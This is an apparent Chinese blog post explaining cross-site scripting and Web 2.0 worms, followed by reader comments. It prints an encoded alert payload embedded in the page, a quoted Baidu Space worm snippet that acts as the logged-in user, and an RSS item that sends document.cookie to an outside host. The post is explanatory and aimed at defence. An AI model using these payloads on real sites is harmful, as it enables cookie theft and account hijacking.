^_^
web2.0的程序也写过那么几个了,一直没关心web2.0病毒的事情,查了些资料,觉得很有意思,可以说说。
首先我们要了解一个概念——XSS。XSS是Cross-Site
Scripting的缩写(因为CSS已经被用掉了

),意思即是跨网站脚本,简单点说,就是某个网页(或者其他应用,如rss)上存在一段恶意脚本,当一个用户访问到这个应用时,这段恶意脚本是被浏览器信任的,于是浏览器就在用户不知情的情况下执行了这段脚本。而这段脚本可以做的事情包括:窃取COOKIES,sessions
tokens,以及其他存于浏览器上的信息,甚至可以重写你当前页面的内容。
举个简单的一个例子,噢,例子你已经体验了,刚打开这个页面的时候是不是弹出了个窗口,跟你
say hello 啊!嘿嘿,刚才没注意?那么刷新一下页面再试一次。
原因很简单,在这篇博客里面,我加入了这么一段经过编码的代码:
<DIV
STYLE=”background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027\0048\0065\006C\006C\006F\0027\0029\0029″>^_^</DIV>
呵呵,由于新浪的原因,必须经过编码。这段代码正常来写是:<DIV
STYLE=”background-image:url(javascript:alert(’Hello’))”>^_^</DIV>
你也许会说,我打开这个页面,弹个窗口跟我 say
hello,没有什么隐私信息,没什么不安全的啊。
那么如果我的脚本显示的是你的COOKIE信息呢?
你也许又会说,即使有隐私,也只有我自己看到,也没什么不安全的啊。
呵呵,虽然AJAX被设计为不能跨域访问,但通过脚本,依然可以以当前用户的身份执行相关操作,并将用户的信息传送至出去,比如以下一段曾经发生在百度空间的代码:
function()
{
var req = null;
//创建xmlHttpRequest对象,省略…..
if(window.XMLHttpRequest)
req = new XMLHttpRequest();
else
…..
req.open(’get’,’.’,false);
req.send();
var s=req.responseText;
p=s.indexOf(’passport.baidu.com/?logout’);
if(p>0)
{
p=s.indexOf(’<strong>’);
if(p>0)
{
p=s.indexOf(’/',p);
p2=s.indexOf(String.fromCharCode(34),p);
var
user=s.substring(p+1,p2);
var
name=’Here is a bad site’;
var
link=’目标网址’;
var
desc=’This link was added by an XSS script’;
var
url=’/'+user+’/commit’;
//-
-执行Ajax的数据异步调用,将数据传出,在用户不知情的情况下以用户身份执行了操作
var
data=’ct=6&cm=1&spRef=’+escape(’http://hi.baidu.com/’+user)+’%2Fmodify%2Fbuddylink%2F0&spBuddyName=’+escape(name)+’&spBuddyURL=’+escape(link)+’&spBuddyIntro=’+escape(desc);
req.open(’post’,url,false);
req.send(data);
……
想想,如果这段代码出现在网上银行的系统中……
其实,由于这些注入的恶意脚本被浏览器认为是来自可信任源的,所以这些恶意脚本执行的用户所不知的操作——比如重写当前页面的内容,把用户提交账户信息的表单重定向到恶意服务器——浏览器是认为正常的。这并不是没有可能的事情。
XSS并不是2.0的时代出现的攻击方式,但在AJAX大行其道的2.0时代,的确给XSS提供了温床。今年6月20日爆发的Yamanner蠕虫病毒,还有7月份百度空间自动加为友情链接病毒,都是通过XSS进行侵入的。
不要以为只有页面会出现这个问题,web2.0标志性的RSS服务,一样躲不过XSS攻击。因为,不管在线的还是离线的RSS阅读器,都没有设计成很好的对脚本进行过滤,这样当攻击者将恶意代码向RSS中写入时,一样会导致跨站。举个之前发生在Yahoo的例子:
<item>
<title>Steal My Cookie!</title>
<link>javascript:%20document.location=’http://www.target.com/cookie.cgi?’%20+document.cookie;</link>
<!—获取用户在当前站点的cookies,并发送到恶意服务器–>
<description>Should Steal Your
Cookie.</description>
<pubDate>Tue, 20 Sep 2005 23:55:18 EDT</pubDate>
</item>
很简单的脚本,却有着惊人的攻击力。
怎么防范?
其实很难从根本上解决这一问题,由于相关技术先天设计的缺陷,人们只能从确保网络应用程序强大到足以没有漏洞,但现状是——基本上网络应用程序的设计都百密一疏,要好好填补住所有的漏洞,需要耗费大量的人力物力——这就是最好的办法。只有严格的执行了输入过滤,才有可能保证安全。可喜的是,当前已经有了一些工具,比如OWASP发布的codeseeker。
技术永远是一把双刃剑。这个时候,想起斋主的——借借还还”乃图书馆服务之“根”与“本”——这句话,颇为向往原生态的回归,哈哈~
Tags: web2.0, 病毒
Leave a Comment
好恐怖啊.
PFPF!
写得很好!希望博主多写一些类似的文章(关于计算机技术领域中一些基本概念,以及一些不致于很快outdate的知识的科普性文章),积累一段时间后结集出版。
谢谢鼓励!周末过来弹琴、喝茶、吃肉。
今日俺门派下的一干弟子与师尊大人(过几天就要去美国一年了)齐聚北雪湘园,其乐融融!有个已工作的师姐特地从长沙赶回来,今晚又要坐火车回去,明早还得上班——真是有心!朋友们相聚的时光总是那么快乐!愿我们有朝一日再相会,大斗喝酒,大块吃肉,大秤分金银!
师傅饶了咱吧,你又在谈技术了?受不了拉,我跳。。。
讨论了半天LIB2.0怎么怎么好,居然让病毒先发展起来,真是……没话可说。鼓吹LIB2.0者戒!
技术向来都是双刃剑,探讨不好的地方,预防它,没什么不好~
对小钟比较服气,水平就是高,而且你是立足图书馆的,不是纯技术派或者屠龙术派。